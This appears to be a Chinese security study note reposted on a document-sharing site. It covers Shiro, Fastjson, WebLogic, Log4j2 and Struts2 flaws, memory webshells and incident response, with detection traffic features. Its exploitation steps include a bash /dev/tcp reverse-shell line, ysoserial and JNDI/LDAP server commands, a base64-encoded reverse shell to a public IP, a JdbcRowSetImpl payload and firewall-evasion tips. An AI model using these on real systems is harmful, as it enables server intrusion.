




版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡介
ApacheShiro漏洞(框架漏洞)基本介紹:ApacheShiro是一種功能強(qiáng)大且易于使用的Java安全框架,它執(zhí)行身份驗(yàn)證、授權(quán)、加密和會話管理,可用于保護(hù)任何應(yīng)用程序的安全。Shiro提供了應(yīng)用程序安全性API來執(zhí)行以下方面:1、Authentication(認(rèn)證):用戶身份識別,通常被稱為用戶“登錄”2、Authorization(授權(quán)):訪問控制。比如某個(gè)用戶是否具有某個(gè)操作的使用權(quán)限。3、SessionManagement(會話管理):特定于用戶的會話管理,甚至在非web或EJB應(yīng)用程序。4、Cryptography(加密):在對數(shù)據(jù)源使用加密算法加密的同時(shí),保證易于使用。上述四個(gè)方面也被稱為應(yīng)用程序安全性的四個(gè)基石漏洞原理(Shiro-550):1、Shiro框架提供了記住密碼的功能(RememberMe)2、用戶登錄成功后的信息,會經(jīng)過加密編碼后存儲在rememberMe的cookie值中3、因?yàn)閞ememberMe的cookie值加密方法為AES對稱加密算法。這導(dǎo)致只要知道了用的是什么密鑰,就可以通過構(gòu)造cookie值將惡意的序列化語句傳給服務(wù)器,造成反序列化漏洞的利用。4、由于Shiro-550漏洞的密鑰就在軟件的源代碼里,并且Shiro計(jì)算出cookie的流程為:信息–>序列化–>AES加密–>Base64編碼–>cookie5、因此我們只要將信息改為我們想要服務(wù)器反序列化時(shí)執(zhí)行的命令,那么就可以達(dá)到遠(yuǎn)程命令執(zhí)行的目的了。漏洞利用:1、通過腳本或網(wǎng)站(Runtime.execPayloadGenerater|AresX'sBlog())對命令進(jìn)行Base64編碼(用于避免特殊字符報(bào)錯(cuò)和繞過檢測)基本的反彈shell命令:bash-i>&/dev/tcp/公網(wǎng)IP地址/端口0>&12、利用ysoserial中的JRMP監(jiān)聽模塊,監(jiān)聽目標(biāo)服務(wù)器即將連接的端口,并在目標(biāo)服務(wù)器連接時(shí),將反彈shell命令遞給目標(biāo)服務(wù)器??捎玫膟soserial語句:java-cpysoserial.jarysoserial.exploit.JRMPListener監(jiān)聽端口CommonsCollections4"Base64命令"3、利用腳本生成cookie。shiro利用鏈不多,腳本都封裝好了,用腳本很方便。(本人也還不會編寫腳本,www…)4、在公網(wǎng)服務(wù)器上別忘記打開nc監(jiān)聽獲取shellnc監(jiān)聽語句:nc-lvvp監(jiān)聽端口5、利用Burpsuite抓包改好cookie中RememberMe參數(shù)后就可以發(fā)出然后坐等結(jié)果了。Shiro-721與Shiro-550的不同:1、Shiro-721采取系統(tǒng)隨機(jī)生成的密鑰進(jìn)行加密,Shiro-550則是使用已知的固定密鑰。2、Shiro-721的利用需要攻擊者首先先獲取正確的RememberMeCookie作為前綴(即需要先獲取一個(gè)合法賬號登錄),然后才可以通過構(gòu)造RememberMeCookie的值來實(shí)現(xiàn)反序列化漏洞攻擊。Shiro-550則可以直接構(gòu)造cookie。流量特征(Shiro-550):由于shiro的可利用鏈較少并且構(gòu)造相對困難,因此一般攻擊者都采取的工具進(jìn)行利用測試。所以我重點(diǎn)講解使用工具進(jìn)行探測時(shí)的流量特征1、工具通常會在數(shù)據(jù)請求包中攜帶rememberMe=yes來探測shiro框架是否存在存在則會在響應(yīng)數(shù)據(jù)包中返回rememberMe=deleteMe2、爆破密鑰:短時(shí)大量請求(雖然一共也就沒幾個(gè)固定密鑰),大部分都是rememberMe=deleteMe當(dāng)爆破成功時(shí),則無rememberMe參數(shù)返回。3、爆破利用鏈:rememberMe參數(shù)加密語句長度異常(因?yàn)闃?gòu)建利用鏈需要很長的語句)當(dāng)爆破成功時(shí),則無rememberMe參數(shù)返回。4、命令執(zhí)行:大量的“$”符(工具用于定位返回值的)5、上傳內(nèi)存馬的流量特征:5.1、POST請求(由于需要惡意文件)5.2、請求包中包含密碼特征及其路徑5.3、響應(yīng)包中存在“Success”,“Filteralreadyexists”等特征FastJson漏洞基本介紹:Fastjson是阿里巴巴公司開源的一款JSON解析器,它可以解析JSON格式的字符串,是一個(gè)Java庫。支持將JavaBean序列化為JSON字符串,也可以從JSON字符串反序列化到JavaBean。支持將Java對象轉(zhuǎn)換為JSON格式,也可以將JSON字符串轉(zhuǎn)換為Java對象。Fastjson的作用是用于對JSON格式的數(shù)據(jù)進(jìn)行解析和打包(所以出現(xiàn)Json格式的地方,就有可能使用了Fastjson)JSON(JavaScriptObjectNotation,JS對象簡譜)是一種輕量級的數(shù)據(jù)交換格式,如:{"name":"smith","age":28,"sex":"男","school":{"sname":"南京大學(xué)","address":"南京市鼓樓區(qū)漢口路22號"}}{"name":"smith","empno":1001,"job":"clerck","sal":9000.00,"comm":5000.00}漏洞原理:1、fastjson在解析json的過程中,支持使用autoType(自動識別類型)這個(gè)功能來讀取@type的內(nèi)容,并根據(jù)@type的內(nèi)容來實(shí)例化某一個(gè)具體的類。2、這個(gè)過程中允許JSON數(shù)據(jù)直接控制Java的類加載器行為,從而創(chuàng)建任何類型的對象。3、根據(jù)這個(gè)反序列化的過程,我們就可以通過構(gòu)造惡意利用鏈的方式達(dá)到任意命令執(zhí)行的目的。漏洞利用:1、漏洞探測:可以利用DNSLogPlatform生成域名,并構(gòu)造一個(gè)嘗試進(jìn)行域名解析的json語句,發(fā)送過去看有沒有被執(zhí)行。嘗試進(jìn)行域名解析的json語句:{"name":{"@type":".InetAddress","val":"任意主機(jī)名.域名"}}2、進(jìn)行JNDI注入:利用JNDI的LDAP或RMI服務(wù),讓目標(biāo)服務(wù)器自動從我們的公網(wǎng)服務(wù)器上拉取惡意的javaclass類文件,達(dá)到命令執(zhí)行的目的。2.1、對反彈shell進(jìn)行base64編碼2.2、通過JNDI注入工具開啟LDAP或RMI服務(wù),并根據(jù)利用鏈制造出惡意的json語句。查看jndi_tool.jar可選的模塊語句:java-jarjndi_tool.jar命令格式:java-cpjndi_tool.jarjndi.HLDAPServer公網(wǎng)服務(wù)器IP端口"base64編碼后的命令"命令示例:java-cpjndi_tool.jarjndi.HLDAPServer009999"bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIxOS4xNjEuODgvOTA5MCAwPiYx}|{base64,-d}|{bash,-i}"構(gòu)造出的JSON示例:{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://00:9999/Object","autoCommit":true}}2.3、在公網(wǎng)服務(wù)器上打開nc監(jiān)聽對應(yīng)端口用于接收反彈shell。2.4、將制造出的json語句用BP修改content-type參數(shù)為:application/json并在數(shù)據(jù)體中添加json語句,傳到對面服務(wù)器。(可以嘗試對json語句進(jìn)行Unicode編碼,可能可以繞過一些防火墻的監(jiān)測)然后就坐等連接了。流量特征:還是常用工具進(jìn)行的探測1、存在@type參數(shù):利用鏈特征,數(shù)據(jù)包中肯定包含2、存在LDAP或RMI協(xié)議語句:用于拉取惡意
javaclass的3、根據(jù)tcp流繼續(xù)查找,發(fā)現(xiàn)敏感語句,如:反彈shell如果后續(xù)TCP流數(shù)據(jù)包中開始傳輸攻擊者的命令并正常執(zhí)行返回結(jié)果了,則說明該漏洞已被利用成功如何判斷系統(tǒng)是否使用了fastjson:正常請求是get請求并且沒有請求體,可以通過構(gòu)造錯(cuò)誤的POST請求,即可查看在返回包中是否有fastjson這個(gè)字符串來判斷。無回顯的利用方式:1.一種是直接將命令執(zhí)行結(jié)果寫入到靜態(tài)資源文件里,如html、js等,然后通過http訪問就可以直接看到結(jié)果2.通過dnslog進(jìn)行數(shù)據(jù)外帶,但如果無法執(zhí)行dns請求就無法驗(yàn)證了3.直接將命令執(zhí)行結(jié)果回顯到請求Poc的HTTP響應(yīng)中Weblogic漏洞(中間件漏洞)基本介紹:WebLogic是一款廣泛使用的企業(yè)級應(yīng)用服務(wù)器,主要用于構(gòu)建和部署多層分布式企業(yè)應(yīng)用。WebLogic是美國Oracle公司出品的一個(gè)applicationserver,確切的說是一個(gè)基于JAVAEE架構(gòu)的中間件。WebLogic是用于開發(fā)、集成、部署和管理大型分布式Web應(yīng)用、網(wǎng)絡(luò)應(yīng)用和數(shù)據(jù)庫應(yīng)用的Java應(yīng)用服務(wù)器。將Java的動態(tài)功能和JavaEnterprise標(biāo)準(zhǔn)的安全性引入大型網(wǎng)絡(luò)應(yīng)用的開發(fā)、集成、部署和管理之中。通俗的講weblogic是一種web容器,如果你知道apache,tomcat,iis你就應(yīng)該知道,就是把我們開發(fā)的java應(yīng)用程序運(yùn)行起來,并提供服務(wù)的一種程序。漏洞原理:沒什么特別的原理就是一些爆出來的漏洞,比如:遠(yuǎn)程代碼執(zhí)行(RCE)漏洞:CVE-2020-14882、CVE-2017-10271反序列化漏洞:CVE-2019-2725、CVE-2015-4852(CVE-2015-4852涉及到反序列化問題,攻擊者利用T3協(xié)議發(fā)送惡意的Java對象到服務(wù)器,導(dǎo)致執(zhí)行任意代碼。)目錄遍歷漏洞:CVE-2018-2628漏洞利用:本人主要還是使用的工具,暫時(shí)沒什么好講的。使用Weblogic中間件有個(gè)特征就是404頁面。流量特征:1、突然大量的T3協(xié)議:T3協(xié)議是WebLogic的核心通信協(xié)議,支持RMI(遠(yuǎn)程方法調(diào)用),也是漏洞利用最多的協(xié)議2、敏感字符:追蹤tcp流,根據(jù)有沒有敏感字符來判斷是不是在進(jìn)行攻擊。如:pass,whoami,xs3、存在網(wǎng)站的文件和目錄名:攻擊者上傳webshell時(shí),會探測網(wǎng)站目錄攻擊成功與否也是看tcp流里,服務(wù)器有沒有相應(yīng)攻擊者的命令A(yù)pacheLog4j2漏洞(JNDI注入漏洞)基本介紹:Apachelog4j是Apache的一個(gè)開源項(xiàng)目,是一個(gè)Java的日志記錄工具。該工具重寫了log4j框架,并且引入了大量豐富的特性。我們可以控制日志信息輸送的目的地為控制臺、文件、GUI組件等,通過定義每一條日志信息的級別,能夠更加細(xì)致地控制日志的生成過程。漏洞原理:1、由于log4j2存在一個(gè)lookup函數(shù),會自動將日志中“${}”里大括號內(nèi)的內(nèi)容進(jìn)行解析替換,因此就存在漏洞利用的可能。觸發(fā)漏洞的關(guān)鍵代碼:org.apache.logging.log4j.core.pattern.MessagePatternConverter的format()方法(表達(dá)式內(nèi)容替換)apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通過lookup進(jìn)行內(nèi)容替換)2、由于log4j2支持ldap和rmi協(xié)議,因此就可以使用JNDI注入,配合ldap服務(wù)使得對面服務(wù)器拉取惡意javaclass類,達(dá)到遠(yuǎn)程命令執(zhí)行的目的。漏洞利用:1、向目標(biāo)發(fā)送惡意payload,目標(biāo)對payload進(jìn)行解析執(zhí)行,然后會通過ldap鏈接遠(yuǎn)程服務(wù)2、當(dāng)ldap服務(wù)收到請求之后,將請求進(jìn)行重定向到惡意javaclass的地址3、目標(biāo)服務(wù)器收到重定向請求之后,下載惡意class并執(zhí)行其中的代碼,從而執(zhí)行系統(tǒng)命令。流量特征:1、存在JNDI,LDAP,RMI等敏感字符:由于是JNDI注入,所以流量中必然會有對應(yīng)的請求2、tcp流中存在惡意命令:想要更好利用漏洞,一般都會嘗試進(jìn)行反彈shell語句的發(fā)送后續(xù)如果服務(wù)器流量開始指向反彈shell的指定端口,就說明服務(wù)器已經(jīng)被成功入侵了判斷是否攻擊成功監(jiān)視受感染應(yīng)用程序的日志,查看是否有異?;蝈e(cuò)誤信息,或者是否包含與攻擊相關(guān)的信息。監(jiān)視網(wǎng)絡(luò)流量,查看是否有大量的請求被發(fā)送到攻擊者的服務(wù)器。檢查系統(tǒng)中的異?;蚓嫘畔?,例如系統(tǒng)崩潰、不正常的CPU使用率或內(nèi)存使用率等。在受感染的系統(tǒng)中進(jìn)行代碼審查,查看是否有與攻擊相關(guān)的代碼或配置文件。Struts2漏洞(框架漏洞)基本介紹:ApacheStruts是美國阿帕奇(Apache)軟件基金會負(fù)責(zé)維護(hù)的一個(gè)開源項(xiàng)目,是一套用于創(chuàng)建企業(yè)級JavaWeb應(yīng)用的開源MVC框架。它主要提供兩個(gè)版本框架產(chǎn)品:Struts1和Struts2;Struts2是一個(gè)基于MVC設(shè)計(jì)模式的Web應(yīng)用框架,它本質(zhì)上相當(dāng)于一個(gè)servlet,在MVC設(shè)計(jì)模式中,Struts2作為控制器(Controller)來建立模型與視圖的數(shù)據(jù)交互。Struts2是Struts的下一代產(chǎn)品,是在struts1和WebWork的技術(shù)基礎(chǔ)上進(jìn)行了合并的全新的Struts2框架漏洞原理(S2-045):1、通過在上傳文件時(shí),構(gòu)造請求頭中的Content-Type值來觸發(fā)該漏洞達(dá)到遠(yuǎn)程命令執(zhí)行的目的S2-057和S2-045區(qū)別:S2-057時(shí)GET請求,S2-045是POST請求漏洞利用:1、在文件上傳過程中進(jìn)行抓包,并根據(jù)固定的利用語句,將想執(zhí)行的命令替換(#cmd='命令')中的命令2、然后發(fā)給目標(biāo)服務(wù)器,對面服務(wù)器就會執(zhí)行,并在響應(yīng)包中返回結(jié)果。流量特征:因?yàn)橹饕鞘褂玫墓ぞ哌M(jìn)行探測,所以主要講使用工具的特征1、Content-Type參數(shù)長度異常,且包含多個(gè)特殊字符,如:百分號——%,@符2、存在前綴特征:(#nike=‘multipart/form-data’)3、數(shù)據(jù)流中默認(rèn)的是相同的SessionID,可以作為一個(gè)弱特征,因?yàn)楣粽咭部梢愿淖髡撸毫?-0/read/cv34504860/出處:bilibili內(nèi)存馬基本介紹:內(nèi)存馬是無文件攻擊的一種常用手段,隨著攻防演練熱度越來越高:攻防雙方的博弈,流量分析、EDR等專業(yè)安全設(shè)備被藍(lán)方廣泛使用,傳統(tǒng)的文件上傳的webshll或以文件形式駐留的后門越來越容易被檢測到,內(nèi)存馬使用越來越多。Webshell內(nèi)存馬,是在內(nèi)存中寫入惡意后門和木馬并執(zhí)行,達(dá)到遠(yuǎn)程控制Web服務(wù)器的一類內(nèi)存馬,其瞄準(zhǔn)了企業(yè)的對外窗口:網(wǎng)站、應(yīng)用。但傳統(tǒng)的Webshell都是基于文件類型的,黑客可以利用上傳工具或網(wǎng)站漏洞植入木馬,區(qū)別在于Webshell內(nèi)存馬是無文件馬,利用中間件的進(jìn)程執(zhí)行某些惡意代碼,不會有文件落地,給檢測帶來巨大難度。內(nèi)存馬原理:其原理是先由客戶端發(fā)起一個(gè)web請求,中間件的各個(gè)獨(dú)立的組件如Listener、Filter、Servlet等組件會在請求過程中做監(jiān)聽、判斷、過濾等操作,內(nèi)存馬利用請求過程在內(nèi)存中修改已有的組件或者動態(tài)注冊一個(gè)新的組件,插入惡意的shellcode達(dá)到持久化的控制服務(wù)器。內(nèi)存馬的分類:傳統(tǒng)Web應(yīng)用型內(nèi)存馬:使用基本Servlet-API實(shí)現(xiàn)的動態(tài)注冊內(nèi)存馬,此種類型的內(nèi)存馬最經(jīng)典,已經(jīng)被擴(kuò)展至適應(yīng)各個(gè)中間件??蚣苄蛢?nèi)存馬:除了傳統(tǒng)的Servlet項(xiàng)目,使用Spring全家桶進(jìn)行開發(fā)的項(xiàng)目越來越多,而Spring-MVC則是自實(shí)現(xiàn)了相關(guān)路由注冊查找邏輯,以及使用攔截器來進(jìn)行過濾,思想上與Servlet-Filter的設(shè)計(jì)類似。中間件型內(nèi)存馬:在中間件的很多功能實(shí)現(xiàn)上,因?yàn)椴捎昧祟愃艶ilter-FilterChain的職責(zé)鏈模式,可以被用來做內(nèi)存馬,由于行業(yè)對Tomcat的研究較多,因此大多數(shù)的技術(shù)實(shí)現(xiàn)和探究是針對Tomcat的,但其他中間件也有相當(dāng)多的探究空間。其他內(nèi)存馬:還有一些其他非常規(guī)的利用思路,可以用在內(nèi)存馬的實(shí)現(xiàn)上,例如WebSocket協(xié)議等。Agent型內(nèi)存馬:利用JavaAgent技術(shù)進(jìn)行植入內(nèi)存馬邏輯的實(shí)現(xiàn)方式。內(nèi)存馬排查:1、先查看檢查服務(wù)器web日志,查看是否有可疑的web訪問日志,比如說filter或者listener類型的內(nèi)存馬,會有大量url請求路徑相同參數(shù)不同的,或者頁面不存在但是返回200的請求。2、如在web日志中并未發(fā)現(xiàn)異常,可以排查是否為中間件漏洞導(dǎo)致代碼執(zhí)行注入內(nèi)存馬,排查中間件的error.log日志查看是否有可疑的報(bào)錯(cuò),根據(jù)注入時(shí)間和方法根據(jù)業(yè)務(wù)使用的組件排查是否可能存在java代碼執(zhí)行漏洞以及是否存在過webshell,排查框架漏洞,反序列化漏洞。3、查看是否有類似哥斯拉、冰蝎特征的url請求,哥斯拉和冰蝎的內(nèi)存馬注入流量特征與普通webshell的流量特征基本吻合。4、通過查找返回200的url路徑對比web目錄下是否真實(shí)存在文件,如不存在大概率為內(nèi)存馬。應(yīng)急響應(yīng)應(yīng)急響應(yīng)的基本流程:1、收集信息:收集客戶信息和中毒主機(jī)信息,包括樣本2、判斷類型:判斷是否是安全事件,何種安全事件,勒索、挖礦、斷網(wǎng)、DoS等等3、抑制范圍:隔離使受害?不繼續(xù)擴(kuò)?(做好隔離)4、深入分析:日志分析、進(jìn)程分析、啟動項(xiàng)分析、樣本分析方便后期溯源5、清理處置:殺掉進(jìn)程,刪除文件,打補(bǔ)丁,刪除異常系統(tǒng)服務(wù),清除后門賬號防止事件擴(kuò)大,處理完畢后恢復(fù)生
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 草房子讀后感成長中的困惑與希望
- 節(jié)約用水產(chǎn)品推廣合作協(xié)議
- 數(shù)據(jù)驅(qū)動的智能營銷策略推廣合同
- 紅色經(jīng)典故事紅巖讀后感
- 社交電商大數(shù)據(jù)驅(qū)動平臺
- 專利使用費(fèi)支付協(xié)議
- 桃花源記情景劇教案
- 農(nóng)業(yè)生產(chǎn)資源節(jié)約與環(huán)境保護(hù)行動計(jì)劃
- 產(chǎn)品設(shè)計(jì)思路表格
- 高考語文的文言文翻譯誤區(qū)分析
- 經(jīng)營性公墓建設(shè)標(biāo)準(zhǔn)
- 10KV系統(tǒng)短路電流整定計(jì)算表格
- 初中英語 滬教牛津版 8B U1-4 More Practice Success for Spring Buds 課件
- 壓水堆核電廠在役檢查課件
- 前房角鏡檢查法及其在眼科的應(yīng)用教學(xué)課件
- 2017年度項(xiàng)目生產(chǎn)部工作計(jì)劃推進(jìn)表甘特圖
- 地下室車庫綜合管線施工布置
- 采購訂單模板
- 巴馬格紡絲控制系統(tǒng)軟件說明書(共46頁)
- 完整解讀2021年《建設(shè)工程抗震管理?xiàng)l例》PPT教學(xué)講座課件
- 肺結(jié)核患者管理ppt課件
評論
0/150
提交評論